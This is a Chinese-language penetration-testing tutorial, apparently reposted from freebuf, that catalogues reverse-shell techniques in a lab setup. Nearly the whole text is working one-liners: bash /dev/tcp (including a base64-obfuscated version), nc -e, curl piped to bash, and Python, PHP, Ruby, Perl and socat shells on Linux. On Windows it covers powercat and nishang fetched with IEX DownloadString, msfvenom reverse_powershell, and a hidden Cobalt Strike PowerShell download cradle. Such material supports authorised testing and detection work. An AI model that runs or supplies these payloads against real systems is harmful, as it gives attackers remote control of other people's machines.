反弹shell的方法总结 – 作者:东塔安全学院

前言

什么是反弹shell(reverse shell)?

就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么需要反弹shell?

反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。以下详细介绍Windows和Linux系统下反弹shell的几种方式。

一、linux下反弹shell

实验环境:

Win10 192.168.2.102 NC监听

Kali 192.168.2.103 自带工具

1. bash反弹

bash -i >& /dev/tcp/192.168.2.102/7777 0>&1

0089FO1rgy1gi3y2sjf5sj30li0bq754.jpg

在特殊情况可以使用base64编码执行bash反弹shell

编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

0089FO1rgy1gi3y2spt2xj30pw0740td.jpg

在kali中执行会解析成编码前的bash命令

2.nc反弹

nc -e /bin/bash 192.168.2.102 4444

-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。

0089FO1rgy1gi3y2sva87j30l806eq39.jpg

3.curl反弹

Kali开启apache服务,把bash命令写入html文件,只要文本包含bash一句话即可。

curl 192.168.2.103/bash.html|bash

0089FO1rgy1gi3y2t0m93j30c9017q2s.jpg

0089FO1rgy1gi3y2t6mh7j30n907paaq.jpg

4.whois反弹

whois -h 192.168.2.102 -p 4444 `pwd` //反弹的shell只能执行后面带的命令

0089FO1rgy1gi3y2te58hj30nd06daag.jpg

5.python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

0089FO1rgy1gi3y2tldc8j30pw07bwf1.jpg

6.PHP反弹

php反弹shell和python的方式差不多

php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

0089FO1rgy1gi3y2tr0tkj30nz0683yx.jpg

7.ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

0089FO1rgy1gi3y2txfu5j30pv08umxv.jpg

8.socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.102:4444

0089FO1rgy1gi3y2u2ue9j30o206b0t8.jpg

9.Perl反弹

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

0089FO1rgy1gi3y2u89ucj30px071t9a.jpg

二、Windows下反弹shell

1. powercat反弹

①用IEX下载远程PS1脚本回来权限绕过执行

使用powershell执行IEX (New-Object

System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.2.103 -p 4444 -e cmd

0089FO1rgy1gi3y2udqntj30p601ydfr.jpg

0089FO1rgy1gi3y2ulewnj30j50icjsc.jpg

② powercat下载地址:https://github.com/besimorhino/powercat //下载到本地执行

powercat为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat

0089FO1rgy1gi3y2uqtrmj30gs01c744.jpg

0089FO1rgy1gi3y2uz0arj30j20ipdh3.jpg

2.NC反弹

服务端反弹:nc 192.168.2.103 4444 -e c:\windows\system32\cmd.exe

0089FO1rgy1gi3y2v6r6pj30pe02ojra.jpg

0089FO1rgy1gi3y2vefc7j30jd0hvt9z.jpg

3.nishang反弹

Nishang下载地址:https://github.com/samratashok/nishang

Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

将nishang下载到攻击者本地,在目标机使用powershell执行以下命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444

0089FO1rgy1gi3y2vmszcj30qo01gjra.jpg

0089FO1rgy1gi3y2vtmtbj30po0grgmj.jpg

4.Reverse UDP shell

攻击机监听 nc -lvup 4444

利用上面下载的还是放在攻击机上在目标机中powershell执行以下命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.103/nishang/Shells/Invoke-PowerShellUdp.ps1');

Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.103 -port 4444

0089FO1rgy1gi3y2w0mljj30qy030t8p.jpg

0089FO1rgy1gi3y2w5su1j30pp0b4mxu.jpg

5.MSF反弹

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/windows/reverse),找出我们需要的各类反弹一句话payload的路径信息。

msfvenom -l payloads | grep 'cmd/windows/reverse'

0089FO1rgy1gi3y2wbb5hj30px03zweo.jpg

依照前面查找出的命令生成一句话payload路径,我们使用如下的命令生成反弹一句话,然后复制粘贴到靶机上运行即可。

msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.2.103 LPORT=4444

0089FO1rgy1gi3y2wieupj30q909v0u6.jpg

靶机执行使用powershell执行payload

0089FO1rgy1gi3y2x4pzvj30qq04q74t.jpg

攻击机返回shell

0089FO1rgy1gi3y2xc07wj30jf0jj0ty.jpg

6.Cobalt strike反弹shell

Cobalt strike的Scripted Web Delivery模块,可通过bitsadmin、powershell、python、regsvR32等进行反弹shell,类似metasploit的web_delivery模块

①运行服务端

./teamserver 192.168.2.103 123 #123为连接密码

0089FO1rgy1gi3y2xhuacj30pr026jrg.jpg

②运行客户端:

Windows运行cobaltstrike.jar #用户名随便输入 密码123

0089FO1rgy1gi3y2xxzovj30dj06xaam.jpg

③开启监听:

点击Cobalt Strike->Listeners

payload可选择windows/beacon_http/reverse_http

说明:其中windows/beacon 是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign 为外部监听器,即msf或者Armitage的监听器。

0089FO1rgy1gi3y2y3oqej30k60g7ta4.jpg

④生成powershell payload:

点击Attack -> Web Drive-by -> Scripted Web Delivery

Type选择 powershell

0089FO1rgy1gi3y2yap2cj30gz0ant9p.jpg

生成的payload:

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.2.103:8887/a’))”

⑤生成代码已经给出了,在windows上执行

0089FO1rgy1gi3y2yfxrij30f008e3z7.jpg

0089FO1rgy1gi3y2ymq77j30rm0k1wfn.jpg

来源:freebuf.com 2020-08-26 18:05:53 by: 东塔安全学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论